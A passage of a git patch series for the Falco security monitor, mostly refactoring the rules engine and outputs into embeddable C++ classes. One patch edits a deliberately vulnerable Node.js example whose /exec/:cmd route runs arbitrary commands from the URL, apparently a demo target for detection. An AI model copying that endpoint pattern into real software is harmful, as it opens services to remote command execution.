From a769373bb895954aed83a0a1c1b73c0f2da1fc9c Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Fri, 5 Aug 2016 17:51:54 -0700 Subject: [PATCH 01/63] Fix docker builds. gnupg2 is missing on latest debian:unstable. --- docker/dev/Dockerfile | 1 + docker/stable/Dockerfile | 1 + 2 files changed, 2 insertions(+) diff --git a/docker/dev/Dockerfile b/docker/dev/Dockerfile index 16d1fc9e..da10948c 100644 --- a/docker/dev/Dockerfile +++ b/docker/dev/Dockerfile @@ -18,6 +18,7 @@ RUN apt-get update \ && apt-get install -y --no-install-recommends \ bash-completion \ curl \ + gnupg2 \ ca-certificates \ gcc \ gcc-4.9 && rm -rf /var/lib/apt/lists/* diff --git a/docker/stable/Dockerfile b/docker/stable/Dockerfile index 1620461f..5ab55b5d 100644 --- a/docker/stable/Dockerfile +++ b/docker/stable/Dockerfile @@ -19,6 +19,7 @@ RUN apt-get update \ bash-completion \ curl \ ca-certificates \ + gnupg2 \ gcc \ gcc-4.9 && rm -rf /var/lib/apt/lists/* From b57eb8659f28e01d7178af044e42da9828032771 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Tue, 26 Jul 2016 08:05:15 -0700 Subject: [PATCH 02/63] Add ignores for test-related files. Ignore results.json and similar names. Also ignore the file created when running phoronix tests. --- .gitignore | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.gitignore b/.gitignore index 7a98caeb..d1217019 100644 --- a/.gitignore +++ b/.gitignore @@ -6,6 +6,8 @@ test/traces-negative test/traces-positive test/traces-info test/job-results +test/.phoronix-test-suite +test/results*.json.* userspace/falco/lua/re.lua userspace/falco/lua/lpeg.so From bf431cf2222dea75d9455e1eb59437993ed1028a Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Tue, 9 Aug 2016 10:32:40 -0700 Subject: [PATCH 03/63] Don't run the spawned program in a shell. Instead, run it directly. This avoids false positives when running non-bash commands and false negatives when trying to run a shell. --- examples/nodejs-bad-rest-api/server.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/examples/nodejs-bad-rest-api/server.js b/examples/nodejs-bad-rest-api/server.js index bb437302..3d561bfb 100644 --- a/examples/nodejs-bad-rest-api/server.js +++ b/examples/nodejs-bad-rest-api/server.js @@ -14,8 +14,8 @@ router.get('/', function(req, res) { }); router.get('/exec/:cmd', function(req, res) { - var output = child_process.execSync(req.params.cmd); - res.send(output); + var ret = child_process.spawnSync(req.params.cmd); + res.send(ret.stdout); }); app.use('/api', router); From fc9690b1d30e6fd8205f221a72123194aae9cbb3 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Fri, 15 Jul 2016 13:26:14 -0700 Subject: [PATCH 04/63] Create embeddable falco engine. Create standalone classes falco_engine/falco_outputs that can be embedded in other programs. falco_engine is responsible for matching events against rules, and falco_output is responsible for formatting an alert string given an event and writing the alert string to all configured outputs. falco_engine's main interfaces are: - load_rules/load_rules_file: Given a path to a rules file or a string containing a set of rules, load the rules. Also loads needed lua code. - process_event(): check the event against the set of rules and return the results of a match, if any. - describe_rule(): print details on a specific rule or all rules. - print_stats(): print stats on the rules that matched. - enable_rule(): enable/disable any rules matching a pattern. New falco command line option -D allows you to disable one or more rules on the command line. falco_output's main interfaces are: - init(): load needed lua code. - add_output(): add an output channel for alert notifications. - handle_event(): given an event that matches one or more rules, format an alert message and send it to any output channels. Each of falco_engine/falco_output maintains a separate lua state and loads separate sets of lua files. The code to create and initialize the lua state is in a base class falco_common. falco_engine no longer logs anything. In the case of errors, it throws exceptions. falco_logger is now only used as a logging mechanism for falco itself and as an output method for alert messages. (This should really probably be split, but it's ok for now). falco_engine contains an sinsp_evttype_filter object containing the set of eventtype filters. Instead of calling m_inspector->add_evttype_filter() to add a filter created by the compiler, call falco_engine::add_evttype_filter() instead. This means that the inspector runs with a NULL filter and all events are returned from do_inspect. This depends on https://github.com/draios/sysdig/pull/633 which has a wrapper around a set of eventtype filters. Some additional changes along with creating these classes: - Some cleanups of unnecessary header files, cmake include_directory()s, etc to only include necessary includes and only include them in header files when required. - Try to avoid 'using namespace std' in header files, or assuming someone else has done that. Generally add 'using namespace std' to all source files. - Instead of using sinsp_exception for all errors, define a falco_engine_exception class for exceptions coming from the falco engine and use it instead. For falco program code, switch to general exceptions under std::exception and catch + display an error for all exceptions, not just sinsp_exceptions. - Remove fields.{cpp,h}. This was dead code. - Start tracking counts of rules by priority string (i.e. what's in the falco rules file) as compared to priority level (i.e. roughtly corresponding to a syslog level). This keeps the rule processing and rule output halves separate. This led to some test changes. The regex used in the test is now case insensitive to be a bit more flexible. - Now that https://github.com/draios/sysdig/pull/632 is merged, we can delete the rules object (and its lua_parser) safely. - Move loading the initial lua script to the constructor. Otherwise, calling load_rules() twice re-loads the lua script and throws away any state like the mapping from rule index to rule. - Allow an empty rules file. Finally, fix most memory leaks found by valgrind: - falco_configuration wasn't deleting the allocated m_config yaml config. - several ifstreams were being created simply to test which falco config file to use. - In the lua output methods, an event formatter was being created using falco.formatter() but there was no corresponding free_formatter(). This depends on changes in https://github.com/draios/sysdig/pull/640. --- test/falco_test.py | 2 +- test/run_regression_tests.sh | 10 +- userspace/falco/CMakeLists.txt | 3 +- userspace/falco/config_falco.h.in | 3 - userspace/falco/configuration.cpp | 38 +++-- userspace/falco/configuration.h | 16 +- userspace/falco/falco.cpp | 254 +++++++--------------------- userspace/falco/falco_common.cpp | 90 ++++++++++ userspace/falco/falco_common.h | 69 ++++++++ userspace/falco/falco_engine.cpp | 143 ++++++++++++++++ userspace/falco/falco_engine.h | 76 +++++++++ userspace/falco/falco_outputs.cpp | 89 ++++++++++ userspace/falco/falco_outputs.h | 41 +++++ userspace/falco/fields.cpp | 76 --------- userspace/falco/fields.h | 21 --- userspace/falco/formats.cpp | 23 ++- userspace/falco/formats.h | 3 + userspace/falco/logger.cpp | 3 - userspace/falco/lua/output.lua | 46 ++--- userspace/falco/lua/rule_loader.lua | 48 ++---- userspace/falco/rules.cpp | 66 +++----- userspace/falco/rules.h | 14 +- 22 files changed, 697 insertions(+), 437 deletions(-) create mode 100644 userspace/falco/falco_common.cpp create mode 100644 userspace/falco/falco_common.h create mode 100644 userspace/falco/falco_engine.cpp create mode 100644 userspace/falco/falco_engine.h create mode 100644 userspace/falco/falco_outputs.cpp create mode 100644 userspace/falco/falco_outputs.h delete mode 100644 userspace/falco/fields.cpp delete mode 100644 userspace/falco/fields.h diff --git a/test/falco_test.py b/test/falco_test.py index 8c4cf9f7..7b72d5ee 100644 --- a/test/falco_test.py +++ b/test/falco_test.py @@ -105,7 +105,7 @@ class FalcoTest(Test): if events_detected == 0: self.fail("Detected {} events when should have detected > 0".format(events_detected)) - level_line = '{}: (\d+)'.format(self.detect_level) + level_line = '(?i){}: (\d+)'.format(self.detect_level) match = re.search(level_line, res.stdout) if match is None: diff --git a/test/run_regression_tests.sh b/test/run_regression_tests.sh index efc40034..dd06ca0c 100755 --- a/test/run_regression_tests.sh +++ b/test/run_regression_tests.sh @@ -38,12 +38,12 @@ EOF function prepare_multiplex_file() { cp $SCRIPTDIR/falco_tests.yaml.in $MULT_FILE - prepare_multiplex_fileset traces-positive True Warning False - prepare_multiplex_fileset traces-negative False Warning True - prepare_multiplex_fileset traces-info True Informational False + prepare_multiplex_fileset traces-positive True WARNING False + prepare_multiplex_fileset traces-negative False WARNING True + prepare_multiplex_fileset traces-info True INFO False - prepare_multiplex_fileset traces-positive True Warning True - prepare_multiplex_fileset traces-info True Informational True + prepare_multiplex_fileset traces-positive True WARNING True + prepare_multiplex_fileset traces-info True INFO True echo "Contents of $MULT_FILE:" cat $MULT_FILE diff --git a/userspace/falco/CMakeLists.txt b/userspace/falco/CMakeLists.txt index fb241159..510c0b54 100644 --- a/userspace/falco/CMakeLists.txt +++ b/userspace/falco/CMakeLists.txt @@ -8,7 +8,7 @@ include_directories("${CURL_INCLUDE_DIR}") include_directories("${YAMLCPP_INCLUDE_DIR}") include_directories("${DRAIOS_DEPENDENCIES_DIR}/yaml-${DRAIOS_YAML_VERSION}/target/include") -add_executable(falco configuration.cpp formats.cpp fields.cpp rules.cpp logger.cpp falco.cpp) +add_executable(falco configuration.cpp formats.cpp rules.cpp logger.cpp falco_common.cpp falco_engine.cpp falco_outputs.cpp falco.cpp) target_link_libraries(falco sinsp) target_link_libraries(falco @@ -18,7 +18,6 @@ target_link_libraries(falco "${YAMLCPP_LIB}") -set(FALCO_LUA_MAIN "rule_loader.lua") configure_file(config_falco.h.in config_falco.h) install(TARGETS falco DESTINATION bin) diff --git a/userspace/falco/config_falco.h.in b/userspace/falco/config_falco.h.in index cf04adaf..0f0ab124 100644 --- a/userspace/falco/config_falco.h.in +++ b/userspace/falco/config_falco.h.in @@ -8,7 +8,4 @@ #define FALCO_INSTALL_CONF_FILE "/etc/falco.yaml" #define FALCO_SOURCE_LUA_DIR "${PROJECT_SOURCE_DIR}/userspace/falco/lua/" - -#define FALCO_LUA_MAIN "${FALCO_LUA_MAIN}" - #define PROBE_NAME "${PROBE_NAME}" diff --git a/userspace/falco/configuration.cpp b/userspace/falco/configuration.cpp index 8a71af46..9e88b9a3 100644 --- a/userspace/falco/configuration.cpp +++ b/userspace/falco/configuration.cpp @@ -1,22 +1,32 @@ #include "configuration.h" -#include "config_falco.h" -#include "sinsp.h" #include "logger.h" using namespace std; +falco_configuration::falco_configuration() + : m_config(NULL) +{ +} + +falco_configuration::~falco_configuration() +{ + if (m_config) + { + delete m_config; + } +} // If we don't have a configuration file, we just use stdout output and all other defaults -void falco_configuration::init(std::list &cmdline_options) +void falco_configuration::init(list &cmdline_options) { init_cmdline_options(cmdline_options); - output_config stdout_output; + falco_outputs::output_config stdout_output; stdout_output.name = "stdout"; m_outputs.push_back(stdout_output); } -void falco_configuration::init(string conf_filename, std::list &cmdline_options) +void falco_configuration::init(string conf_filename, list &cmdline_options) { string m_config_file = conf_filename; m_config = new yaml_configuration(m_config_file); @@ -26,7 +36,7 @@ void falco_configuration::init(string conf_filename, std::list &cmd m_rules_filename = m_config->get_scalar("rules_file", "/etc/falco_rules.yaml"); m_json_output = m_config->get_scalar("json_output", false); - output_config file_output; + falco_outputs::output_config file_output; file_output.name = "file"; if (m_config->get_scalar("file_output", "enabled", false)) { @@ -34,27 +44,27 @@ void falco_configuration::init(string conf_filename, std::list &cmd filename = m_config->get_scalar("file_output", "filename", ""); if (filename == string("")) { - throw sinsp_exception("Error reading config file (" + m_config_file + "): file output enabled but no filename in configuration block"); + throw invalid_argument("Error reading config file (" + m_config_file + "): file output enabled but no filename in configuration block"); } file_output.options["filename"] = filename; m_outputs.push_back(file_output); } - output_config stdout_output; + falco_outputs::output_config stdout_output; stdout_output.name = "stdout"; if (m_config->get_scalar("stdout_output", "enabled", false)) { m_outputs.push_back(stdout_output); } - output_config syslog_output; + falco_outputs::output_config syslog_output; syslog_output.name = "syslog"; if (m_config->get_scalar("syslog_output", "enabled", false)) { m_outputs.push_back(syslog_output); } - output_config program_output; + falco_outputs::output_config program_output; program_output.name = "program"; if (m_config->get_scalar("program_output", "enabled", false)) { @@ -70,7 +80,7 @@ void falco_configuration::init(string conf_filename, std::list &cmd if (m_outputs.size() == 0) { - throw sinsp_exception("Error reading config file (" + m_config_file + "): No outputs configured. Please configure at least one output file output enabled but no filename in configuration block"); + throw invalid_argument("Error reading config file (" + m_config_file + "): No outputs configured. Please configure at least one output file output enabled but no filename in configuration block"); } falco_logger::log_stderr = m_config->get_scalar("log_stderr", false); @@ -90,7 +100,7 @@ static bool split(const string &str, char delim, pair &parts) return true; } -void falco_configuration::init_cmdline_options(std::list &cmdline_options) +void falco_configuration::init_cmdline_options(list &cmdline_options) { for(const string &option : cmdline_options) { @@ -98,13 +108,13 @@ void falco_configuration::init_cmdline_options(std::list &cmdline_o } } -void falco_configuration::set_cmdline_option(const std::string &opt) +void falco_configuration::set_cmdline_option(const string &opt) { pair keyval; pair subkey; if (! split(opt, '=', keyval)) { - throw sinsp_exception("Error parsing config option \"" + opt + "\". Must be of the form key=val or key.subkey=val"); + throw invalid_argument("Error parsing config option \"" + opt + "\". Must be of the form key=val or key.subkey=val"); } if (split(keyval.first, '.', subkey)) { diff --git a/userspace/falco/configuration.h b/userspace/falco/configuration.h index d389aa37..8e13fd94 100644 --- a/userspace/falco/configuration.h +++ b/userspace/falco/configuration.h @@ -1,13 +1,12 @@ #pragma once #include +#include +#include +#include #include -struct output_config -{ - std::string name; - std::map options; -}; +#include "falco_outputs.h" class yaml_configuration { @@ -17,7 +16,7 @@ public: { m_path = path; YAML::Node config; - std::vector outputs; + std::vector outputs; try { m_root = YAML::LoadFile(path); @@ -118,12 +117,15 @@ private: class falco_configuration { public: + falco_configuration(); + virtual ~falco_configuration(); + void init(std::string conf_filename, std::list &cmdline_options); void init(std::list &cmdline_options); std::string m_rules_filename; bool m_json_output; - std::vector m_outputs; + std::vector m_outputs; private: void init_cmdline_options(std::list &cmdline_options); diff --git a/userspace/falco/falco.cpp b/userspace/falco/falco.cpp index d32301b6..8359c2a2 100644 --- a/userspace/falco/falco.cpp +++ b/userspace/falco/falco.cpp @@ -1,32 +1,19 @@ #define __STDC_FORMAT_MACROS #include -#include +#include #include -#include #include #include -#include #include #include -extern "C" { -#include "lua.h" -#include "lualib.h" -#include "lauxlib.h" -#include "lpeg.h" -#include "lyaml.h" -} - #include -#include "config_falco.h" -#include "configuration.h" -#include "rules.h" -#include "formats.h" -#include "fields.h" + #include "logger.h" -#include "utils.h" -#include + +#include "configuration.h" +#include "falco_engine.h" bool g_terminate = false; // @@ -53,6 +40,7 @@ static void usage() " -p, --pidfile When run as a daemon, write pid to specified file\n" " -e Read the events from (in .scap format) instead of tapping into live.\n" " -r Rules file (defaults to value set in configuration file, or /etc/falco_rules.yaml).\n" + " -D Disable any rules matching the regex . Can be specified multiple times.\n" " -L Show the name and description of all rules and exit.\n" " -l Show the name and description of the rule with name and exit.\n" " -v Verbose output.\n" @@ -61,7 +49,7 @@ static void usage() ); } -static void display_fatal_err(const string &msg, bool daemon) +static void display_fatal_err(const string &msg) { falco_logger::log(LOG_ERR, msg); @@ -75,23 +63,18 @@ static void display_fatal_err(const string &msg, bool daemon) } } -string lua_on_event = "on_event"; -string lua_add_output = "add_output"; -string lua_print_stats = "print_stats"; - // Splitting into key=value or key.subkey=value will be handled by configuration class. std::list cmdline_options; // // Event processing loop // -void do_inspect(sinsp* inspector, - falco_rules* rules, - lua_State* ls) +void do_inspect(falco_engine *engine, + falco_outputs *outputs, + sinsp* inspector) { int32_t res; sinsp_evt* ev; - string line; // // Loop through the events @@ -129,112 +112,20 @@ void do_inspect(sinsp* inspector, continue; } - lua_getglobal(ls, lua_on_event.c_str()); - - if(lua_isfunction(ls, -1)) + // As the inspector has no filter at its level, all + // events are returned here. Pass them to the falco + // engine, which will match the event against the set + // of rules. If a match is found, pass the event to + // the outputs. + falco_engine::rule_result *res = engine->process_event(ev); + if(res) { - lua_pushlightuserdata(ls, ev); - lua_pushnumber(ls, ev->get_check_id()); - - if(lua_pcall(ls, 2, 0, 0) != 0) - { - const char* lerr = lua_tostring(ls, -1); - string err = "Error invoking function output: " + string(lerr); - throw sinsp_exception(err); - } - } - else - { - throw sinsp_exception("No function " + lua_on_event + " found in lua compiler module"); + outputs->handle_event(res->evt, res->rule, res->priority, res->format); + delete(res); } } } -void add_lua_path(lua_State *ls, string path) -{ - string cpath = string(path); - path += "?.lua"; - cpath += "?.so"; - - lua_getglobal(ls, "package"); - - lua_getfield(ls, -1, "path"); - string cur_path = lua_tostring(ls, -1 ); - cur_path += ';'; - lua_pop(ls, 1); - - cur_path.append(path.c_str()); - - lua_pushstring(ls, cur_path.c_str()); - lua_setfield(ls, -2, "path"); - - lua_getfield(ls, -1, "cpath"); - string cur_cpath = lua_tostring(ls, -1 ); - cur_cpath += ';'; - lua_pop(ls, 1); - - cur_cpath.append(cpath.c_str()); - - lua_pushstring(ls, cur_cpath.c_str()); - lua_setfield(ls, -2, "cpath"); - - lua_pop(ls, 1); -} - -void add_output(lua_State *ls, output_config oc) -{ - - uint8_t nargs = 1; - lua_getglobal(ls, lua_add_output.c_str()); - - if(!lua_isfunction(ls, -1)) - { - throw sinsp_exception("No function " + lua_add_output + " found. "); - } - lua_pushstring(ls, oc.name.c_str()); - - // If we have options, build up a lua table containing them - if (oc.options.size()) - { - nargs = 2; - lua_createtable(ls, 0, oc.options.size()); - - for (auto it = oc.options.cbegin(); it != oc.options.cend(); ++it) - { - lua_pushstring(ls, (*it).second.c_str()); - lua_setfield(ls, -2, (*it).first.c_str()); - } - } - - if(lua_pcall(ls, nargs, 0, 0) != 0) - { - const char* lerr = lua_tostring(ls, -1); - throw sinsp_exception(string(lerr)); - } - -} - -// Print statistics on the the rules that triggered -void print_stats(lua_State *ls) -{ - lua_getglobal(ls, lua_print_stats.c_str()); - - if(lua_isfunction(ls, -1)) - { - if(lua_pcall(ls, 0, 0, 0) != 0) - { - const char* lerr = lua_tostring(ls, -1); - string err = "Error invoking function print_stats: " + string(lerr); - throw sinsp_exception(err); - } - } - else - { - throw sinsp_exception("No function " + lua_print_stats + " found in lua rule loader module"); - } - -} - // // ARGUMENT PARSING AND PROGRAM SETUP // @@ -242,15 +133,13 @@ int falco_init(int argc, char **argv) { int result = EXIT_SUCCESS; sinsp* inspector = NULL; - falco_rules* rules = NULL; + falco_engine *engine = NULL; + falco_outputs *outputs = NULL; int op; int long_index = 0; - string lua_main_filename; string scap_filename; string conf_filename; string rules_filename; - string lua_dir = FALCO_LUA_DIR; - lua_State* ls = NULL; bool daemon = false; string pidfilename = "/var/run/falco.pid"; bool describe_all_rules = false; @@ -271,12 +160,20 @@ int falco_init(int argc, char **argv) try { inspector = new sinsp(); + engine = new falco_engine(); + engine->set_inspector(inspector); + + outputs = new falco_outputs(); + outputs->set_inspector(inspector); + + set disabled_rule_patterns; + string pattern; // // Parse the args // while((op = getopt_long(argc, argv, - "c:ho:e:r:dp:Ll:vA", + "c:ho:e:r:D:dp:Ll:vA", long_options, &long_index)) != -1) { switch(op) @@ -296,6 +193,10 @@ int falco_init(int argc, char **argv) case 'r': rules_filename = optarg; break; + case 'D': + pattern = optarg; + disabled_rule_patterns.insert(pattern); + break; case 'd': daemon = true; break; @@ -325,29 +226,29 @@ int falco_init(int argc, char **argv) // Some combinations of arguments are not allowed. if (daemon && pidfilename == "") { - throw sinsp_exception("If -d is provided, a pid file must also be provided"); + throw std::invalid_argument("If -d is provided, a pid file must also be provided"); } - ifstream* conf_stream; + ifstream conf_stream; if (conf_filename.size()) { - conf_stream = new ifstream(conf_filename); - if (!conf_stream->good()) + conf_stream.open(conf_filename); + if (!conf_stream.is_open()) { - throw sinsp_exception("Could not find configuration file at " + conf_filename); + throw std::runtime_error("Could not find configuration file at " + conf_filename); } } else { - conf_stream = new ifstream(FALCO_SOURCE_CONF_FILE); - if (conf_stream->good()) + conf_stream.open(FALCO_SOURCE_CONF_FILE); + if (!conf_stream.is_open()) { conf_filename = FALCO_SOURCE_CONF_FILE; } else { - conf_stream = new ifstream(FALCO_INSTALL_CONF_FILE); - if (conf_stream->good()) + conf_stream.open(FALCO_INSTALL_CONF_FILE); + if (!conf_stream.is_open()) { conf_filename = FALCO_INSTALL_CONF_FILE; } @@ -376,61 +277,40 @@ int falco_init(int argc, char **argv) config.m_rules_filename = rules_filename; } - lua_main_filename = lua_dir + FALCO_LUA_MAIN; - if (!std::ifstream(lua_main_filename)) + engine->load_rules_file(rules_filename, verbose, all_events); + + falco_logger::log(LOG_INFO, "Parsed rules from file " + rules_filename + "\n"); + + for (auto pattern : disabled_rule_patterns) { - lua_dir = FALCO_SOURCE_LUA_DIR; - lua_main_filename = lua_dir + FALCO_LUA_MAIN; - if (!std::ifstream(lua_main_filename)) - { - falco_logger::log(LOG_ERR, "Could not find Falco Lua libraries (tried " + - string(FALCO_LUA_DIR FALCO_LUA_MAIN) + ", " + - lua_main_filename + "). Exiting.\n"); - result = EXIT_FAILURE; - goto exit; - } + falco_logger::log(LOG_INFO, "Disabling rules matching pattern: " + pattern + "\n"); + engine->enable_rule(pattern, false); } - // Initialize Lua interpreter - ls = lua_open(); - luaL_openlibs(ls); - luaopen_lpeg(ls); - luaopen_yaml(ls); - add_lua_path(ls, lua_dir); - - rules = new falco_rules(inspector, ls, lua_main_filename); - - falco_formats::init(inspector, ls, config.m_json_output); - falco_fields::init(inspector, ls); - - falco_logger::init(ls); - falco_rules::init(ls); - + outputs->init(config.m_json_output); if(!all_events) { inspector->set_drop_event_flags(EF_DROP_FALCO); } - rules->load_rules(config.m_rules_filename, verbose, all_events); - falco_logger::log(LOG_INFO, "Parsed rules from file " + config.m_rules_filename + "\n"); if (describe_all_rules) { - rules->describe_rule(NULL); + engine->describe_rule(NULL); goto exit; } if (describe_rule != "") { - rules->describe_rule(&describe_rule); + engine->describe_rule(&describe_rule); goto exit; } inspector->set_hostname_and_port_resolution_mode(false); - for(std::vector::iterator it = config.m_outputs.begin(); it != config.m_outputs.end(); ++it) + for(auto output : config.m_outputs) { - add_output(ls, *it); + outputs->add_output(output); } if(signal(SIGINT, signal_callback) == SIG_ERR) @@ -522,23 +402,17 @@ int falco_init(int argc, char **argv) open("/dev/null", O_RDWR); } - do_inspect(inspector, - rules, - ls); + do_inspect(engine, + outputs, + inspector); inspector->close(); - print_stats(ls); + engine->print_stats(); } - catch(sinsp_exception& e) + catch(exception &e) { - display_fatal_err("Runtime error: " + string(e.what()) + ". Exiting.\n", daemon); - - result = EXIT_FAILURE; - } - catch(...) - { - display_fatal_err("Unexpected error, Exiting\n", daemon); + display_fatal_err("Runtime error: " + string(e.what()) + ". Exiting.\n"); result = EXIT_FAILURE; } @@ -546,11 +420,9 @@ int falco_init(int argc, char **argv) exit: delete inspector; + delete engine; + delete outputs; - if(ls) - { - lua_close(ls); - } return result; } diff --git a/userspace/falco/falco_common.cpp b/userspace/falco/falco_common.cpp new file mode 100644 index 00000000..47874180 --- /dev/null +++ b/userspace/falco/falco_common.cpp @@ -0,0 +1,90 @@ +#include + +#include "config_falco.h" +#include "falco_common.h" + +falco_common::falco_common() +{ + m_ls = lua_open(); + luaL_openlibs(m_ls); +} + +falco_common::~falco_common() +{ + if(m_ls) + { + lua_close(m_ls); + } +} + +void falco_common::set_inspector(sinsp *inspector) +{ + m_inspector = inspector; +} + +void falco_common::init(string &lua_main_filename) +{ + ifstream is; + string lua_dir = FALCO_LUA_DIR; + string lua_main_path = lua_dir + lua_main_filename; + + is.open(lua_main_path); + if (!is.is_open()) + { + lua_dir = FALCO_SOURCE_LUA_DIR; + lua_main_path = lua_dir + lua_main_filename; + + is.open(lua_main_path); + if (!is.is_open()) + { + throw falco_exception("Could not find Falco Lua entrypoint (tried " + + string(FALCO_LUA_DIR) + lua_main_filename + ", " + + string(FALCO_SOURCE_LUA_DIR) + lua_main_filename + ")"); + } + } + + // Initialize Lua interpreter + add_lua_path(lua_dir); + + // Load the main program, which defines all the available functions. + string scriptstr((istreambuf_iterator(is)), + istreambuf_iterator()); + + if(luaL_loadstring(m_ls, scriptstr.c_str()) || lua_pcall(m_ls, 0, 0, 0)) + { + throw falco_exception("Failed to load script " + + lua_main_path + ": " + lua_tostring(m_ls, -1)); + } +} + +void falco_common::add_lua_path(string &path) +{ + string cpath = string(path); + path += "?.lua"; + cpath += "?.so"; + + lua_getglobal(m_ls, "package"); + + lua_getfield(m_ls, -1, "path"); + string cur_path = lua_tostring(m_ls, -1 ); + cur_path += ';'; + lua_pop(m_ls, 1); + + cur_path.append(path.c_str()); + + lua_pushstring(m_ls, cur_path.c_str()); + lua_setfield(m_ls, -2, "path"); + + lua_getfield(m_ls, -1, "cpath"); + string cur_cpath = lua_tostring(m_ls, -1 ); + cur_cpath += ';'; + lua_pop(m_ls, 1); + + cur_cpath.append(cpath.c_str()); + + lua_pushstring(m_ls, cur_cpath.c_str()); + lua_setfield(m_ls, -2, "cpath"); + + lua_pop(m_ls, 1); +} + diff --git a/userspace/falco/falco_common.h b/userspace/falco/falco_common.h new file mode 100644 index 00000000..b3c49e06 --- /dev/null +++ b/userspace/falco/falco_common.h @@ -0,0 +1,69 @@ +#pragma once + +#include +#include + +extern "C" { +#include "lua.h" +#include "lualib.h" +#include "lauxlib.h" +} + +#include + +// +// Most falco_* classes can throw exceptions. Unless directly related +// to low-level failures like inability to open file, etc, they will +// be of this type. +// + +struct falco_exception : std::exception +{ + falco_exception() + { + } + + virtual ~falco_exception() throw() + { + } + + falco_exception(std::string error_str) + { + m_error_str = error_str; + } + + char const* what() const throw() + { + return m_error_str.c_str(); + } + + std::string m_error_str; +}; + +// +// This is the base class of falco_engine/falco_output. It is +// responsible for managing a lua state and associated inspector and +// loading a single "main" lua file into that state. +// + +class falco_common +{ +public: + falco_common(); + virtual ~falco_common(); + + void init(std::string &lua_main_filename); + + void set_inspector(sinsp *inspector); + +protected: + lua_State *m_ls; + + sinsp *m_inspector; + +private: + void add_lua_path(std::string &path); +}; + + + diff --git a/userspace/falco/falco_engine.cpp b/userspace/falco/falco_engine.cpp new file mode 100644 index 00000000..f144721e --- /dev/null +++ b/userspace/falco/falco_engine.cpp @@ -0,0 +1,143 @@ +#include +#include + +#include "falco_engine.h" + +extern "C" { +#include "lpeg.h" +#include "lyaml.h" +} + +#include "utils.h" + + +string lua_on_event = "on_event"; +string lua_print_stats = "print_stats"; + +using namespace std; + +falco_engine::falco_engine() +{ + luaopen_lpeg(m_ls); + luaopen_yaml(m_ls); + + falco_common::init(m_lua_main_filename); + falco_rules::init(m_ls); +} + +falco_engine::~falco_engine() +{ + if (m_rules) + { + delete m_rules; + } +} + +void falco_engine::load_rules(const string &rules_content, bool verbose, bool all_events) +{ + // The engine must have been given an inspector by now. + if(! m_inspector) + { + throw falco_exception("No inspector provided"); + } + + if(!m_rules) + { + m_rules = new falco_rules(m_inspector, this, m_ls); + } + m_rules->load_rules(rules_content, verbose, all_events); +} + +void falco_engine::load_rules_file(const string &rules_filename, bool verbose, bool all_events) +{ + ifstream is; + + is.open(rules_filename); + if (!is.is_open()) + { + throw falco_exception("Could not open rules filename " + + rules_filename + " " + + "for reading"); + } + + string rules_content((istreambuf_iterator(is)), + istreambuf_iterator()); + + load_rules(rules_content, verbose, all_events); +} + +void falco_engine::enable_rule(string &pattern, bool enabled) +{ + m_evttype_filter.enable(pattern, enabled); +} + +falco_engine::rule_result *falco_engine::process_event(sinsp_evt *ev) +{ + if(!m_evttype_filter.run(ev)) + { + return NULL; + } + + struct rule_result *res = new rule_result(); + + lua_getglobal(m_ls, lua_on_event.c_str()); + + if(lua_isfunction(m_ls, -1)) + { + lua_pushlightuserdata(m_ls, ev); + lua_pushnumber(m_ls, ev->get_check_id()); + + if(lua_pcall(m_ls, 2, 3, 0) != 0) + { + const char* lerr = lua_tostring(m_ls, -1); + string err = "Error invoking function output: " + string(lerr); + throw falco_exception(err); + } + res->evt = ev; + const char *p = lua_tostring(m_ls, -3); + res->rule = p; + res->priority = lua_tostring(m_ls, -2); + res->format = lua_tostring(m_ls, -1); + } + else + { + throw falco_exception("No function " + lua_on_event + " found in lua compiler module"); + } + + return res; +} + +void falco_engine::describe_rule(string *rule) +{ + return m_rules->describe_rule(rule); +} + +// Print statistics on the the rules that triggered +void falco_engine::print_stats() +{ + lua_getglobal(m_ls, lua_print_stats.c_str()); + + if(lua_isfunction(m_ls, -1)) + { + if(lua_pcall(m_ls, 0, 0, 0) != 0) + { + const char* lerr = lua_tostring(m_ls, -1); + string err = "Error invoking function print_stats: " + string(lerr); + throw falco_exception(err); + } + } + else + { + throw falco_exception("No function " + lua_print_stats + " found in lua rule loader module"); + } + +} + +void falco_engine::add_evttype_filter(string &rule, + list &evttypes, + sinsp_filter* filter) +{ + m_evttype_filter.add(rule, evttypes, filter); +} + + diff --git a/userspace/falco/falco_engine.h b/userspace/falco/falco_engine.h new file mode 100644 index 00000000..63675af9 --- /dev/null +++ b/userspace/falco/falco_engine.h @@ -0,0 +1,76 @@ +#pragma once + +#include + +#include "sinsp.h" +#include "filter.h" + +#include "rules.h" + +#include "config_falco.h" +#include "falco_common.h" + +// +// This class acts as the primary interface between a program and the +// falco rules engine. Falco outputs (writing to files/syslog/etc) are +// handled in a separate class falco_outputs. +// + +class falco_engine : public falco_common +{ +public: + falco_engine(); + virtual ~falco_engine(); + + // + // Load rules either directly or from a filename. + // + void load_rules_file(const std::string &rules_filename, bool verbose, bool all_events); + void load_rules(const std::string &rules_content, bool verbose, bool all_events); + + // + // Enable/Disable any rules matching the provided pattern (regex). + // + void enable_rule(std::string &pattern, bool enabled); + + struct rule_result { + sinsp_evt *evt; + std::string rule; + std::string priority; + std::string format; + }; + + // + // Given an event, check it against the set of rules in the + // engine and if a matching rule is found, return details on + // the rule that matched. If no rule matched, returns NULL. + // + // the reutrned rule_result is allocated and must be delete()d. + rule_result *process_event(sinsp_evt *ev); + + // + // Print details on the given rule. If rule is NULL, print + // details on all rules. + // + void describe_rule(std::string *rule); + + // + // Print statistics on how many events matched each rule. + // + void print_stats(); + + // + // Add a filter, which is related to the specified list of + // event types, to the engine. + // + void add_evttype_filter(std::string &rule, + list &evttypes, + sinsp_filter* filter); + +private: + falco_rules *m_rules; + sinsp_evttype_filter m_evttype_filter; + + std::string m_lua_main_filename = "rule_loader.lua"; +}; + diff --git a/userspace/falco/falco_outputs.cpp b/userspace/falco/falco_outputs.cpp new file mode 100644 index 00000000..7929f1c1 --- /dev/null +++ b/userspace/falco/falco_outputs.cpp @@ -0,0 +1,89 @@ + +#include "falco_outputs.h" + +#include "formats.h" +#include "logger.h" + +using namespace std; + +falco_outputs::falco_outputs() +{ + +} + +falco_outputs::~falco_outputs() +{ + +} + +void 